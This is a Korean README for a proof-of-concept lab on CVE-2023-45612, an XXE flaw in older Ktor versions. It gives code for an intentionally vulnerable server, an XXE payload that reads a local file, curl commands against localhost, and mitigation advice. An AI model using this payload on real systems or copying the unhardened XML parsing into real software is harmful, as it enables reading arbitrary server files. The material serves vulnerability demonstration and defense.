
이 저장소는 JetBrains Ktor 2.3.5 미만 버전에서 XML 외부 엔티티(XXE) 주입 취약점을 시연하는 CVE-2023-45612에 대한 개념 증명을 제공합니다.
이 저장소는 CVE-2023-45612에서 식별된 XML 외부 엔티티(XXE) 주입 취약점을 시연하기 위한 취약한 Ktor 서버를 포함합니다.
이 취약점은 ContentNegotiation 플러그인이 기본 xml() 직렬 변환기와 함께 사용될 때 Ktor 버전 2.3.5 이전에 존재합니다. 기본 XML 파서는 외부 엔티티의 확인을 방지하도록 구성되지 않아 공격자가 서버에서 임의의 파일을 읽을 수 있게 합니다.
다음 섹션에서는 직접 익스플로잇을 재현하는 단계를 설명합니다.
이 PoC에 사용된 버전:
IntelliJ IDEA에서 Netty 엔진, Gradle Kotlin 및 Ktor 버전 2.3.4 (또는 이전 버전)를 사용하여 Ktor 프로젝트를 생성합니다.
build.gradle.kts 안에 다음 플러그인을 추가해야 합니다:
kotlin("plugin.serialization") version "2.2.20"
그리고 다음 의존성도 추가합니다;
implementation("io.ktor:ktor-server-content-negotiation")
implementation("io.ktor:ktor-serialization-kotlinx-xml")
Application.kt에는 서버를 시작하는 main 함수와 이를 구성하는 module() 함수가 포함되어야 합니다. 기본적으로 xml() 함수는 외부 엔티티 처리를 허용하는 XML 파서를 초기화합니다.
fun Application.module() {
install(ContentNegotiation) {
xml()
}
configureRouting()
}
Routing.kt는 악의적인 XML을 수신하고 구문 분석할 엔드포인트를 정의해야 합니다.
@Serializable
data class Message(
@XmlElement
val message: String
)
fun Application.configureRouting() {
routing {
post("/message") {
try {
val receivedMessage = call.receive<Message>()
call.respondText("Message received: ${receivedMessage.message}")
} catch (e: Exception) {
call.respond(HttpStatusCode.BadRequest, "Error: ${e.message}")
}
}
}
}
애플리케이션을 빌드하고 서버를 시작합니다.
./gradlew build
./gradlew run
엔드포인트를 테스트하려면 hello_message.xml이라는 XML 파일을 만듭니다.
<Message>
<message>Hello, world!</message>
</Message>
다음 curl 명령어로 실행할 수 있습니다 (Windows의 경우):
curl.exe -X POST 'http://127.0.0.1:8080/message' --header 'Content-Type: application/xml' --data '@hello_message.xml'
성공하면 다음과 같은 메시지를 받아야 합니다:
Message received: Hello, world!
텍스트가 포함된 secret_file.txt 파일을 생성합니다. 이 안의 정보가 익스플로잇으로 얻고자 하는 내용입니다.
exploit_message.xml이라는 파일을 만듭니다. 내용은 secret_file.txt 파일의 내용을 외부 엔티티 &xxe;로 정의하고, 그 엔티티를 <message> 태그 안에 사용해야 합니다.
<!DOCTYPE Message [
<!ENTITY xxe SYSTEM "secret_file.txt">
]>
<Message>
<message>&xxe;</message>
</Message>
실행 중인 서버에 다음 curl 명령어를 실행합니다 (Windows의 경우):
curl.exe -X POST 'http://127.0.0.1:8080/message' --header 'Content-Type: application/xml' --data '@exploit_message.xml'
서버는 secret_file.txt 파일을 읽고 그 내용을 HTTP 응답으로 보냅니다:
Message received: XXE was a success.
가장 효과적인 해결책은 Ktor를 버전 2.3.5 이상으로 업데이트하는 것입니다. 이 버전은 문서 유형 정의 처리와 외부 엔티티를 기본적으로 비활성화하는 안전하게 구성된 기본 XML 파서를 사용하므로 이 XXE 공격을 직접 방지합니다. 또는 XML 파서를 수동으로 구성할 수도 있습니다.
추가 방어 계층으로, 원시 요청 본문을 일반 텍스트로 읽고 <!DOCTYPE 또는 <!ENTITY와 같은 의심스러운 키워드가 포함된 경우 파서에 도달하기 전에 거부합니다.
이 취약점은 XML 구문 분석에만 해당합니다. 애플리케이션의 요구 사항이 유연하다면 가장 안전한 변경은 XML을 완전히 피하고 JSON과 같이 이러한 종류의 취약점이 없는 형식을 사용하는 것입니다.
라이브러리의 알려진 취약점을 확인하고 일반적인 익스플로잇에 대해 앱을 테스트하여 보안 결함을 적극적으로 찾아보십시오.